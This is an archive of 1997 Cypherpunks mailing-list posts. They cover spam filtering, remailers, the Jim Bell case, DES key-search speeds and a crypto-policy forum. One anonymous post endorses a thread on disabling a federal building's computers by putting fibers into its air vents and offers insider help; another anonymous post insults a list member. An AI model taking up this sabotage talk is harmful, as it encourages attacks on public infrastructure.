Yes it is but will not help much. As seen with the subject lines of the
ascii art posted to the list it is quite simple to give a message a
subject that would not reveal that it was spam until the entire message
was downloaded and opened.


- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii at amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: To whom the gods destroy, they first teach Windows...

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From nobody at REPLAY.COM  Fri May 23 07:58:54 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Fri, 23 May 1997 22:58:54 +0800
Subject: Spam laws threaten remailers?
Message-ID: <199705231444.QAA16307@basement.replay.com>


Two possibilities:

First, the law might not apply to remailer operators.  It only applies
to originators of messages.  It might make it illegal to use remailers
to send commercial messages, but that would apply to the users,
not to the remailer operators.

Even if it does apply to remailers, they can comply with it.
Put "Advertisement" at the front of each subject line, and put the
remailer operator's contact info in the message.  Remailer operators
are not generally hidden, so this does not hurt them any.






From cpunks at einstein.ssz.com  Fri May 23 08:02:32 1997
From: cpunks at einstein.ssz.com (CDR Filter Account)
Date: Fri, 23 May 1997 23:02:32 +0800
Subject: No Subject
Message-ID: <199705231416.JAA19900@einstein.ssz.com>







From nobody at huge.cajones.com  Fri May 23 08:16:17 1997
From: nobody at huge.cajones.com (Huge Cajones Remailer)
Date: Fri, 23 May 1997 23:16:17 +0800
Subject: The Natives Are Getting Restless
Message-ID: <199705231449.HAA12598@fat.doobie.com>



Friday, May 23, 1997 - 16:33:14 MET

It has been said that the greatest lesson learned from the vietnam 
war by the military industrial complex, was the need for effective 
disinformation and its role in dividing groups that would otherwise 
hang together against a common enemy.

Applied to the home front this translated into "identity" politics. 
To break up the antiwar and youth movements of the 60s, everyone 
was defined as a minority with their own agenda and lexicon. 
Feminists, Vanishing White male,  Black Power advocates, 
Gays/Lesbians,  christian peaceniks, hispanic farm workers, etc each 
was pitted against the other by underscoring their departure points 
in a machevelian plan to divide and conquer those that had united 
against the war and the MIC.

For the most part this has been extremely 
successful and any meaningful dialogue on a national scale has long 
been next to impossible because of it.

List members should be the first to rise above the base tactics of 
the enemy. We need to develop a language of inclusion that unites all 
of these seemingly disparate peoples against the common enemy.



> Blanc wrote:
> 
> > If this society is at war, it is a Civil War, fighting against itself.   In
> > fact, there are many groups fighting against each other, on many different
> > levels:  racial, gender-based, religious, economic, philosophical, not to
> > leave out political.    Companies are fighting each other "tooth & nail"
> > for survival in marketing turfs, races are still exchanging vicious barbs,
> > homosexuals are under verbal & physical attack by the socially "normed",
> > the poor still envy & disparage the rich, women & children seem more than
> > ever to be at risk to attacks from roving sex perverts, the liberals would
> > love to put the libertarians under, religious groups lecture against the
> > moral depravity of all those "other" people, and half the country is either
> > stocking up for a National Disaster or forming into militia groups or other
> > Think Tanks to fight some sort of government encroachment (even the health
> > food stores where I shop are always posting sign-up sheets to vote against
> > something or another the government wants to ban or some right-of-choice
> > that is being threatened by proposed legislation).
> 
>  Second only to Miss Piggy among deep thinkers, Mrs.
> Wiggs, the one with the cabbage patch, said this: "In the
> mud and scum of things ... Something always always
> sings."
> 
>   I am grateful that there is at least one female on the list who
> is capable of stepping into the middle of the "Dick Wars" on the
> list and reminding the men that the "targets" they talk about have 
> names, faces, and children.
>   I am aware that there is a human cost inherent in every conflict,
> and I accept that it will always be so, but I cannot accept the
> idea that one can leave their conscience clear by "criminalizing"
> their target and discounting their target's humanity.
>   I am an anarchist and a realist. If I had a button that would
> nuke D.C., I might well push it--but I am also a thinking, feeling
> human, and I would cry a river of tears, as well. When I estimate
> a "body count", I never fail to count the children.
> 
>   Blanc's aim is true when she speaks of the growth of reactionary
> posts to the list which fail to include a foundation of creative
> thought. 
>   Anyone can return fire when attacked and turn the situation into
> a firefight where a random volley of ammo decides the outcome of
> the battle. However, a good squad leader already has his defences
> in place to deal rationally with situations that can easily be
> forseen before they arise.
>   When "they" come for your neighbor today, will you be surprised
> when they come for _you_ tomorrow? When I first heard of Jim Bell's
> arrest I began composing a reply to Hallam-Baker's coming post. It
> may be vocal and emotionally charged, but it is not done solely
> out of blind reactionism.
> 
>   God bless Blanc.
> 
> TruthMonger -96
> 
> 
        






From rah at shipwright.com  Fri May 23 08:28:36 1997
From: rah at shipwright.com (Robert Hettinga)
Date: Fri, 23 May 1997 23:28:36 +0800
Subject: Crypto use to foil law enforcement?
In-Reply-To: <199705201915.MAA22723@comsec.com>
Message-ID: 


At 3:21 am -0400 on 5/23/97, Carl Ellison wrote:


> With the congress so woefully uninformed that they confuse password
> protection with cryptography and naive enough to believe that 1.9E6
> possibilities represents a serious roadblock to entry, it looks like we have
> a major education effort to perform.

For 35 years we've sown innumeracy, and now it's time to reap the harvest,
I'm afraid.

Heinlein once half-jokingly proposed that all voters have to prove they can
solve a quadratic before they can vote.

That joke's not so funny anymore.

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/







From rwright at adnetsol.com  Fri May 23 08:51:25 1997
From: rwright at adnetsol.com (Ross Wright)
Date: Fri, 23 May 1997 23:51:25 +0800
Subject: Spam complaints 14 times worse than Spam.
Message-ID: <199705231530.IAA24640@adnetsol.adnetsol.com>


This was from:

Tasty Bits From The Technology Front

 Your Host:  Keith Dawson

    This issue: 

..Mailing-list spammers..

    Email spam is the favorite gripe of most Netizens, excepting the
    spammers. Congress is considering legislation [25] to limit the
    practice of sending unwanted commercial email in bulk. Not everyone
    thinks this is a good idea. See [26] for a thread from an ongoing
    debate on Declan McCullagh's fight-censorship mailing list. George
    Matyjewicz  did a modest experiment on a
    week's worth of his email -- he is on 56 mailing lists and gets
    around 200 messages a day -- to gauge how widespread the problem
    actually is. Matyjewicz posted these results:

                        week     avg/day

      Total messages    1,354    193.4
      Spam messages        10      1.4     < 1 %
      Spam complaints     189     27.0      14 %

    Mailing-list owners share information on the addresses from which
    commercial spam messages originate. Recently Alexander Verbraeck
     posted a particularly compre-
    hensive list of purported spammers. I have taken the liberty of
    preserving a snapshot on the TBTF archive [27], sorted both by email
    address and by "virulence" -- the total number of messages sent by
    each spammer over a given time period to two of Verbraeck's lists.
    Thanks to Tom Parmenter  for the tip.

    [25] 
    [26] 
    [27] 

=-=-=-=-=-=-
Ross Wright
King Media: Bulk Sales of Software Media and Duplication Services
http://www.slip.net/~cdr/kingmedia
Voice: (408) 259-2795






From sunder at brainlink.com  Fri May 23 09:21:13 1997
From: sunder at brainlink.com (Ray Arachelian)
Date: Sat, 24 May 1997 00:21:13 +0800
Subject: [NTSEC] 64-bit En/Decryption speed (fwd)
Message-ID: 



---------- Forwarded message ----------
Date: Thu, 22 May 1997 13:22:42 +0000
From: Alan C. Ramsbottom 
To: ntsecurity at iss.net
Cc: stoutb at pios.com
Subject: Re: [NTSEC] 64-bit En/Decryption speed

> Consensus is that Alpha CPUs can run crypto operations 10x faster than
> Intel-based systems, but to say it's based on the 64-bit-ness of the CPU
> alone is false.

Is everyone aware of the RSA DES challenge? In essence the 
task is to brute-force DES. You can find more information at:

   http://www.eskimo.com/~joelm/des.html

DESCHALL is one of real-world programs written to take up the 
challenge and reports the figures:

 DEC AlphaStation 600 5/333 ... 2.944M keys per second
 Dual Pentium 200 MHz ......... 2.003M keys per second
 SGI Onyx2 (194 MHz R10000) ... 1.943M keys per second
 HAL 385 (161 MHz Sparc64-II) . 1.660M keys per second
 UMAX S900 250MHz 604e ........ 1.368M keys per second
 AlphaStation 255/233 ......... 1.297M keys per second
 PowerMac 8500 200MHz 604e .... 1.095M keys per second
 PowerBook 3400 240MHz 603e ... 1.065M keys per second
 Sun Ultra2 Dual CPU .......... 1.060M keys per second
 PowerMac 8500 180MHz 604e .....  990K keys per second
 PentiumPro 166MHz .............  901K keys per second
 HP 9000/780C 180Mhz ...........  870K keys per second
 PentiumPro 180MHz .............  850K keys per second
 [snip]

I do not know how well this program is optimised for specific 
platforms, if at all. However I can confirm that other programs 
written for the challenge give similar results on Intel 
Platforms.

Regards,

--Alan--
acr at als.co.uk






From franl at world.std.omit-this.com  Fri May 23 10:09:02 1997
From: franl at world.std.omit-this.com (Francis Litterio)
Date: Sat, 24 May 1997 01:09:02 +0800
Subject: Jim Bell accused of "spamming"
In-Reply-To: 
Message-ID: <3388c803.182450459@world.std.com>


dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) wrote:

> Subject: IRS SAYS INTERNET SPAMMER SABOTEUR

So the updated version of the McCarthyesque question is "Are you now
or have you ever been a spammer?"  I guess that's how the gubmint
inflames the sheep these days.
--
Francis Litterio                           PGP Key Fingerprint:
franl at world.std.omit-this.com              02 37 DF 6C 66 43 CD 2C
http://world.std.omit-this.com/~franl/     10 C8 B5 8B 57 34 F3 21
Note: email address and WWW URL altered to prevent spam.

"They that can give up essential liberty to obtain a little temporary 
 safety deserve neither liberty nor safety." -- Ben Franklin, ~1784






From ghio at temp0084.myriad.ml.org  Fri May 23 10:17:59 1997
From: ghio at temp0084.myriad.ml.org (Matthew Ghio)
Date: Sat, 24 May 1997 01:17:59 +0800
Subject: V-Chips for the Internet
In-Reply-To: <1.5.4.32.19970523022930.00970284@pop.pipeline.com>
Message-ID: <199705231651.JAA27071@myriad.alias.net>


> A White House press briefing today describes Clinton's
> plan for providing V-chips for parents to control childrens'
> access to the Internet. Technology is being developed for
> that purpose.

Yeah, last I heard, SurfWatch was already selling it, even.  Amazing,
that - the pace of technological advancement.

;-)






From alano at teleport.com  Fri May 23 10:21:43 1997
From: alano at teleport.com (Alan)
Date: Sat, 24 May 1997 01:21:43 +0800
Subject: More stories from the Bell jar...
In-Reply-To: <33853CBA.2781@netscape.com>
Message-ID: 


On Thu, 22 May 1997, Tom Weinstein wrote:

> Alan Olsen wrote:
> > 
> > In late April 1984, someone broke into law offices at 1123 S. W.
> > Yamhill St. and poured a liquid on a hallway run that was so
> > odorous it made at least one of the lawyers who smelled it vomit
> > twice.
> 
> What's the statute of limitations on stink bombs?  Surely, it's too
> late to prosecute him for this?

I think they are using it to link him to a similar attack on an IRS office
in Vancouver in the much more recient past.






From nobody at REPLAY.COM  Fri May 23 10:49:40 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Sat, 24 May 1997 01:49:40 +0800
Subject: Accounts payable
Message-ID: <199705231713.TAA03178@basement.replay.com>


Timmy C[reep] May's reheated, refurbished, and regurgitated cud is 
completely inappropriate for the mailing lists into which it is 
cross-ruminated.

    ' ' ' ' 
    ^-O-O-^
 -ooO--U--Ooo- Timmy C[reep] May






From nobody at REPLAY.COM  Fri May 23 11:00:09 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Sat, 24 May 1997 02:00:09 +0800
Subject: NoneStories from the Bell jar & The theory of relativity
In-Reply-To: <3.0.2.32.19970522204359.00b37cc0@mail.teleport.com>
Message-ID: <199705231743.TAA06739@basement.replay.com>


>>I guess the only *real* solution is to get rid of the thugs.
>
>Possibly the real solution is not to do stupid things.


The "Rodney King" effect here is amazing.  Jim Bell was not quite a model
citizen.  I don't think most of us would consider stinkbombing office
buildings normal behavior.  But that was 13 years ago, and compared to
what the feds did to him, Jim Bell comes out looking like an angel.  All
things are relative.


PS  For the benefit of our non-technical readers, a bell jar is a glass
dome used in vacuum experiments.  AFAIK, you can't make a stink bomb in
one. :)






From alano at teleport.com  Fri May 23 11:06:55 1997
From: alano at teleport.com (Alan)
Date: Sat, 24 May 1997 02:06:55 +0800
Subject: Spam Prevention System?
In-Reply-To: <199705231429.JAA30660@mailhub.amaranth.com>
Message-ID: 


On Fri, 23 May 1997, William H. Geiger III wrote:

> -----BEGIN PGP SIGNED MESSAGE-----
> 
> In <199705230854.EAA23450 at dhp.com>, on 05/23/97 
>    at 02:54 AM, lucifer at dhp.com (lucifer Anonymous Remailer) said:
> 
> >I was wondering if perhaps a way to minimize the hassle with sitting on
> >one's thumb while waiting for unwanted email to download could be eased
> >by an email program which retreived only headers, allowed you to delete
> >the unwanted ones, and then retrieve the wanted ones, deleting the rest.
> >  Is this feasible?
> 
> Yes it is but will not help much. As seen with the subject lines of the
> ascii art posted to the list it is quite simple to give a message a
> subject that would not reveal that it was spam until the entire message
> was downloaded and opened.

Misleading spam subject lines are nothing new.  (Just got one today, in
fact entitled "Aren't you the one who...".) 

The idea (in the spammers small little brain) is to make the subject
something that you would want to open and read.  (Why they think I am
willing to wade through 20+k of marketting drivel is beyond me...) Much of
these ideas are similar to direct mail marketting campaigns, but without
the graphical or ethical content.

The idea behind marketing spam is that people are more willing to buy your
product if you spit in their face first or attack it to rocks and throw it
through their windows.

Now all that needs to happen if for these people to get a connection to
the clue server and figure out that such actions are not helping them any.

[Clue #1 for Spammers:  If you have to hide the source of your message,
maybe there is something seriously wrong with how you are delivering it.]
  







From jya at pipeline.com  Fri May 23 11:10:35 1997
From: jya at pipeline.com (John Young)
Date: Sat, 24 May 1997 02:10:35 +0800
Subject: NYC Crypto Forum
Message-ID: <1.5.4.32.19970523174025.0070778c@pop.pipeline.com>


Ray Arachelian taped the Cryptography Forum at the
Association of the Bar of the City of New York
last evening and will share once its transcribed.

In the meantime:

TITLE OF PROGRAM:
Guns, Ammunition and Cryptography: Is the Government's
Policy on Digital Encryption Creating a Crisis?

MODERATOR:
Charles R. Nesson, Professor, Harvard Law School

PANELISTS:

Matt Blaze, Co-author of Risks of Key Recovery paper.
(short-notice invitee)

Lynn McNulty (ex-NIST now RSA) filling in for Jim Bidzos
Scott Charney, Computer Crime Unit, Department of Justice
Kenneth W. Dam, Professor, University of Chicago Law School
Dorothy E. Denning
David J. Farber, University of Pennsylvania
Marc Rotenberg, EPIC

-----

Nesson asked the audience (about a hundred), "How many use 
encryption?" Over half raised hands. "Wow!" he said, "If I asked 
that of a law class at Harvard, maybe two or three hands 
would have been raised."

Nesson then posed to the principal question: "Is the government's
policy on cryptography creating a crisis?"

Dam, Denning and Charney said no. Other panelists said yes.

The audience by show of hands was about evenly split.

There was intense discussion among the panelists but no change 
in position.

Some highlights:

David Kahn, in the audience, reaffirmed his support for
key escrow, stating that it would not change the current
legal provisions for electronically snooping, and why ask 
for more privacy than is now authorized.

Blaze summarized the KR risks paper and pointed out the
enormous expense of designing, implementing, operating
and securing a global key recovery system -- which, as he
ironically smiled, could make cryptographers and crypto-corps 
rich. That such a system might make security weaker by 
offering fewer choice targets to attack -- the key repositories.

Blaze reminded that encryption will become pervasive in
all electronic systems, not just communications. That it must
be robust and untamperable or more and more crucial systems 
will be vulnerable to attack. And, the more complicated the
security provisions the more likely they will fail.

Farber stated that time was being wasted on KR debate while
the nation's infrastructure remained immensely vulnerable to
electronic attack. He said that with six students he could shut
the system down in "a few days, with, say, spoof E-mail to key
administrators." That ITEF is working on a next-generation
system to prevent that, but meanwhile there is great risk.

McNulty reaffirmed industry's position that other countries will
develop robust encryption if the US does not allow export.

Charney responded by pointing out that the administration seeks 
global commitment to key escrow among governments, and asserts 
they will comply for the same reasons the USG wants it. He said, 
for example, that countries may allow development of strong 
crypto but, like the US, will not allow export. He cited Japan's 
refusal to allow NTT's 128-bit export, and said Russia will surely
not allow the export of the Sun/Elvis product. Same for France, 
Germany, and so forth.

There was audience derision when Charney noted that the US must
do as the Russians and Chinese and French do to control crypto.

Interestingly, Charney did not cite The Wassenaar Arrangement, 
although Dam pointed out how difficult it was to reach agreement 
on the COCOM predecessor and enforce compliance with it.

Nesson summarized Charney's position by saying, "do you mean
that key escrow would do no more than help you catch criminals
too stupid to use unescrowed crypto?" Charney nodded, and said
that "nearly all all criminals we catch by electronic surveillance
talk openly about being surveilled but do nothing about to
avoid it."

Nesson reiterated: "Do you mean that you want a system to catch
stupid criminals while the nation's infrastructure is left
vulnerable?" Charney, "That's not the right way to put it."

Denning gave examples of her recent survey of law enforcement
for examples of crypto use to hinder investigations.

Finally, Dam noted that encryption policy was a different task
than implementing encryption systems. That the detailed understanding
of those who follow the encryption debate is not shared by the
public nor by most officials. That agreement upon policy will
require greater education for those who could not care less about
the complications and subtleties being debated.

An auditor queried: There seems to be agreement that encryption 
will work best when it is totally transparent to users, and the 
sooner that is devised the better. Why not just get on with it,?

Blaze shook his head at this cluelessness, howled at the ceiling,
sprouted fur, bared teeth, leaped Dave Farber, went for Charney's
jugular, clawed Denning. Kahn and the suited audience ran screaming 
into the safe streets of Manhattan, while shaggy coders roared,
"Kill, kill, kill the infrastructure-fuckers."







From aba at dcs.ex.ac.uk  Fri May 23 11:18:25 1997
From: aba at dcs.ex.ac.uk (Adam Back)
Date: Sat, 24 May 1997 02:18:25 +0800
Subject: reporting standards and Jim Bell
Message-ID: <199705230942.KAA01227@server.test.net>



I noticed an example of the sort of reporting standards which the news
media is sinking to in reporting on Jim Bell's case... observe these
two quotes:

The Oregonian, May 20, 1997, Metro Section P-1:
: Daly described his friend of 15 years as a "bit of an odd unit" but never
: dangerous and never serious about attacking the 9-1-1 systems or the
: Bull Run watershed.
:
: "I'd rat him out in a heartbeat for that," Daly said.

So... Daly considered Jim to be merely discussing technical
feasibility of attacks, something we do every day on cpunks.  Daly
says if he had ever considered Jim was thinking of carrying out any of
the hypothetical attacks, that he would have reported him instantly.

OK... now this other quote from another news story (forwarded by
Dimitri to the list from a post in or.politics quoting some newspaper).

: And during the interview Daly appeared to crack and turn state's 
: evidence when Daly offered to "rat (Bell) out in a heartbeat."

Sounds like a quote of the same comment by Daly.

Sounds like the newspaper(s) in question are having fun, creatively
misquoting, and fabricating to work up a story.  Not knowing the truth
behind any of this stuff, it makes one wonder how much truth there is
in the other details of the story as reported by the gutter press.

I noticed someone called "the Oregonian" the local
fishwrap... presumably implying it is one of those sensationalist
news-fiction newspapers, which are continually being sued for liable
for printing fictitious garbage about media personalities.  Perhaps
similar to the UK "the Sun", etc. (a combination of titilating
fictional "gossip" and nude pin ups, populist news for the masses).

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0


  It's naieve to assume that Bell was even the target.  World
gov't/military machines learned their PR lessons in vietnam.
As a part of a greater plan, it makes sense.  

  If the stinkbomb allegations are fact, then they have enough to
convict him on something minor like assault, possibly with
intent or with a weapon.  That would help, but wouldn't be 
required.  They most definitely have posts with his name on
them and people who would testify to his being of the 
libertatian/radical bent.  Neither of those will likely hold up
in court, but that's ok.  

  The US is still reeling from OK City.  Tried as it might, the US gov't
couldn't find an outside enemy to pin it to.  Whether
Timmy did it or not is again irrelevant, they needed to find 
someone to blame and did.  Now that it's the defenses turn, it 
would be useful to remind people of the scar--get someone for
"conspiring" to do it again.  Bring up that hatred again--can't
hurt the prosecutions case.  

  Markoff's and Littman's versions of the Mitnick saga are 
indeed most interesting.  Shimomura's machine gets broken into and there
was _something_ on there that _someone_ wanted back pretty badly.  Does it
matter if he did it?  _Someone_ did, and
that alone is usable.  BTW, we get to wash the egg off the FBI.

  Sommi the "cyberstalker" goes unfound for months.  Come on,
we all know that no one could be that stupid.

  Ultimately, these add up in the mind of Joe public online.
He's scared of hackers and organizations that promote
libertarianism.  "We can protect you from them if you let us."
At this point the collective conscious doesn't care about
losing what it percieves as a tiny amount of freedom to keep
itself and it's offspring safe.  

  And that's the game.  The more a gov't oppresses, the more
paranoid it needs to be.  Becoming a police state is simple, 
becoming a welcomed police state takes careful planning.


Prior planning prevents piss poor performance
 -- sparky






From whgiii at amaranth.com  Fri May 23 11:46:58 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Sat, 24 May 1997 02:46:58 +0800
Subject: Spam Prevention System?
In-Reply-To: 
Message-ID: <199705231820.NAA01390@mailhub.amaranth.com>


-----BEGIN PGP SIGNED MESSAGE-----

In , on
05/23/97 
   at 11:27 AM, Alan  said:

>> -----BEGIN PGP SIGNED MESSAGE-----
>> 
>> In <199705230854.EAA23450 at dhp.com>, on 05/23/97 
>>    at 02:54 AM, lucifer at dhp.com (lucifer Anonymous Remailer) said:
>> 
>> >I was wondering if perhaps a way to minimize the hassle with sitting on
>> >one's thumb while waiting for unwanted email to download could be eased
>> >by an email program which retreived only headers, allowed you to delete
>> >the unwanted ones, and then retrieve the wanted ones, deleting the rest.
>> >  Is this feasible?
>> 
>> Yes it is but will not help much. As seen with the subject lines of the
>> ascii art posted to the list it is quite simple to give a message a
>> subject that would not reveal that it was spam until the entire message
>> was downloaded and opened.

>Misleading spam subject lines are nothing new.  (Just got one today, in
>fact entitled "Aren't you the one who...".) 

>The idea (in the spammers small little brain) is to make the subject
>something that you would want to open and read.  (Why they think I am
>willing to wade through 20+k of marketting drivel is beyond me...) Much
>of these ideas are similar to direct mail marketting campaigns, but
>without the graphical or ethical content.

>The idea behind marketing spam is that people are more willing to buy
>your product if you spit in their face first or attack it to rocks and
>throw it through their windows.

>Now all that needs to happen if for these people to get a connection to
>the clue server and figure out that such actions are not helping them
>any.

>[Clue #1 for Spammers:  If you have to hide the source of your message,
>maybe there is something seriously wrong with how you are delivering it.]
>  


Well the saddest thing of all is that this type of mass marketing works.
:(

It truly is a sorry commentary of the sheeple of this country. If they
didn't make money off this and increase their sales the spam (and all
other blind mass marketing) would disappear.

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii at amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: If you want it done right, forget Microsoft.

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Version: 2.6.2
Comment: Registered_User_E-Secure_v1.1b1_ES000000

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From tcmay at got.net  Fri May 23 11:57:30 1997
From: tcmay at got.net (Tim May)
Date: Sat, 24 May 1997 02:57:30 +0800
Subject: Bell Jars and Jarheads
In-Reply-To: <3.0.2.32.19970522204359.00b37cc0@mail.teleport.com>
Message-ID: 


At 7:43 PM +0200 5/23/97, Anonymous wrote:
>>>I guess the only *real* solution is to get rid of the thugs.
>>
>>Possibly the real solution is not to do stupid things.
>
>
>The "Rodney King" effect here is amazing.  Jim Bell was not quite a model
>citizen.  I don't think most of us would consider stinkbombing office
>buildings normal behavior.  But that was 13 years ago, and compared to
>what the feds did to him, Jim Bell comes out looking like an angel.  All
>things are relative.

The stink bomb charge that would stick would be the March 17th event, if
this is proven to be Bell's doing.

I would've thought this would be "malicious mischief," at most. People
who've done far, far, far worse are left unprosecuted in every major
jurisdiction in this country. The  meat thrown to the media--the usual AP
stuff, mixed in with "radical libertarian" descriptions--is just to make
the case more media-interesting.


>PS  For the benefit of our non-technical readers, a bell jar is a glass
>dome used in vacuum experiments.  AFAIK, you can't make a stink bomb in
>one. :)

Huh? Bell jars, to be pedantic, don't have to involve vacuums, obviously.
And a stink bomb could certain fill even a vacuum jar. (Maybe the stink
would not be smelled, a la Bishop Berkeley, though...)

In any case, more of an allusion. Perhaps even to Plath. Or to the Marines,
aka Jarheads. Or to Bell's Theorem. Or to....

--Tim May





There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From jya at pipeline.com  Fri May 23 12:03:31 1997
From: jya at pipeline.com (John Young)
Date: Sat, 24 May 1997 03:03:31 +0800
Subject: NYC Crypto Forum Add
Message-ID: <1.5.4.32.19970523183553.00700ecc@pop.pipeline.com>


A supplement to the NYC Crypto Forum:

Toward the end Nesson asked, "How about the missing
participant here, NSA?"

Several panelists noted, "NSA's here, in the audience."
(Nonesuch spoke, however.)

Nesson went on to ask, "What about national security
interests outweighing the right to privacy?"

It was here that David Kahn offered his defense of key
recovery.

Farber and others responded that the problem is that
the government is not trusted, that guards against
abuse of power have not worked, that national security
too often has been a cloak for illicit actions.

Here, an audience member said that he worked at Salomon
Brothers doing traffic analysis of vast E-mail, and that we
should be aware that more electronic snooping is going on 
than most people know. How could we be sure that law
enforcement would not similarly abuse systems set up to
catch criminals for other purposes, as NSA allegedly does, 
and, now using the same methodolgies, as private companies 
do to spy on employees, customers and competitors.

All panelists nodded at this, that it's hard to tell god from
the devil, and crypto won't help.








From mcw at clark.net  Fri May 23 13:06:06 1997
From: mcw at clark.net (Mark C. Wallace)
Date: Sat, 24 May 1997 04:06:06 +0800
Subject: Reputation Capital
Message-ID: <199705231925.PAA06818@clark.net>


Does anyone have any papers/sources/url's on reputation capital?  [1]

I'm contemplating a project which I think might be similar; don't want
to unecessarily make a fool of myself.


[1] Dejanews and altavista turned up references, but nothing
substantive.  I've RTFM.






From lucifer at dhp.com  Fri May 23 13:15:46 1997
From: lucifer at dhp.com (lucifer Anonymous Remailer)
Date: Sat, 24 May 1997 04:15:46 +0800
Subject: The Bell Plan
Message-ID: <199705231935.PAA07649@dhp.com>


-----BEGIN PGP SIGNED MESSAGE-----

TruthMonger #1 wrote:

> John Young wrote:
> >    The Oregonian, May 20, 1997, Metro Section P-1:
> >       An affidavit says a Vancouver man arrested Friday talked of
> >       sabotaging Portland's 9-1-1 computer and Bull Run water

>   After reading this news article and a variety of posts on the cypherpunks
> list (especially by Tim May and Paul Bradley), I have decided that I cannot
> in good conscious allow Jim Bell's persecution for exercising his basic
> human right to free speech to pass by without taking personal action to
> support him.
>   "Then they came for the CypherPunks, and nobody spoke up..."
>                                        - Jonathan

  Neither can I. Although some on the list claim I live in an ivory
tower while they live in the real world I haven't seen these cowards
coming forward to engage in any meaningful protest of the railroading
of Jim Bell.

>   Accordingly, I am hereby starting a thread on the cypherpunks list
> to discuss "the possibility of putting the fibers down the air vents
> of a federal building" to kill its computers, and the feasability
> of using other methods to accomplish the same end.

  While I can't speak for the effectiveness of this approach, I
would venture that any action of this sort would have a greater
chance of success with the cooperation of a government employee
such as myself who has access to the computers in the target
area. (We are not all government shills.)

>   In keeping with what I see as a cypherpunk frame of mind, I am
> posting this via an anonymous remailer, but I am also digitally
> signing it. I am not hiding my identity, but merely taking
> action to prevent my public statement from being used to unjustly
> persecute me.

  I will do likewise. I am forced to slant my regular posts to the
list to agree with government policy but unlike my detractors I
at least have the courage to take a stance against my employer's
unjust actions and challenge them to prove their case if they
wish to retaliate against me for exercising my right to free speech.

GovernmentMonger


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From nobody at huge.cajones.com  Fri May 23 13:57:27 1997
From: nobody at huge.cajones.com (Huge Cajones Remailer)
Date: Sat, 24 May 1997 04:57:27 +0800
Subject: AP=MAFIA ?
Message-ID: <199705232040.NAA29081@fat.doobie.com>



 Italy remembers murdered anti-Mafia judge

   ROME (May 23, 1997 3:43 p.m. EDT) - Italy on Friday mourned the judge
   whose ground-breaking Mafia investigations led to his murder five
   years ago.
   
   On Thursday, prosecutors in Sicily requested life jail terms for more
   than 30 bosses charged with the murder.
   
   Judge Giovanni Falcone, his wife Francesca Morvillo and three
   bodyguards were blown up on May 23, 1992, on a motorway outside the
   Sicilian capital Palermo.
   
   "Institutions and citizens have a duty not to forget," the speaker of
   the Chamber of Deputies (lower house), Luciano Violante, said in an
   anniversary message to the families of the victims.
   
   He called on Italians "to avoid the rhetoric of commemorations (and
   to) work with determination in the fight against the Mafia to defend
   those values of civility and legality" for which Falcone worked.
   
   Crimefighters including FBI director Louis Freeh, in Palermo for a
   memorial service, drove in convoy along the motorway. They stopped to
   pay tribute at the point where explosives packed under the road were
   detonated by remote control as Falcone's car passed.
   
   "We are not just honouring the memory of a single man but of many
   policemen, prosecutors and investigators which he represents," Freeh
   said.
   
   Prosecutors in the central Sicilian city of Caltanissetta requested
   life sentences on Thursday for 32 Mafiosi, including Cosa Nostra's
   jailed boss of bosses Salvatore Riina and some of his key lieutenants,
   who are charged with masterminding the murder.
   
   For Giovanni Brusca, the most senior member of the Mob to be captured
   in the past year, prosecutors sought a 30-year jail term. They cited
   mitigating circumstances since Brusca has admitted using the remote
   control device that triggered the blast.
   
   The trial was halted for five minutes on Friday as a mark of respect.
   The defence is expected to sum up late next month. A verdict is
   expected late this year.
   
   On Friday night thousands of Sicilians gathered for a pop concert held
   in Falcone's memory on an undeveloped tract of land in the city's
   outskirts near a villa where Riina spent part of his 23 years at large
   before his arrest in 1993.
   
   Falcone, a Sicilian, revolutionised Italy's war on the Mafia by
   tracking financial records that revealed the extent of the Mob's
   criminal activities and resources, and by persuading captured Mafioso
   to turn state's evidence.
   
   Testimony from "Men of Honour," who are sworn on pain of death to a
   code of silence or "omerta" when they are initiated into the Mafia,
   gave unprecedented insight into the feared society and led to the
   arrest of Riina and other bosses.
   
   The murder of Falcone, and two months later of his friend and
   colleague Paolo Borsellino in a car-bomb attack, horrified Italy and
   galvanised efforts to crack the Mafia and end the reign of terror
   imposed by Riina and his bloody Corleone clan.
   
   Palermo's chief prosecutor Giancarlo Caselli cautioned on Friday that
   Italy now risked slipping into complacency.
   
   "The Mafia seems to have become a second division problem, or even a
   non-problem, because people think...that police successes in the last
   few years are leading to a definitive solution of the problem.
   
   "That is not so," Caselli said in a radio interview. "The Mafia is
   still an extremely robust and highly dangerous beast."
     _________________________________________________________________
                                      
      [ Global | Stateside | Sports | Politics | Opinions | Business |
    Techserver | Health & Science | Entertainment | Weather | Baseball |
           Basketball | Football | Hockey | Sport Server | MAIN ]
     _________________________________________________________________
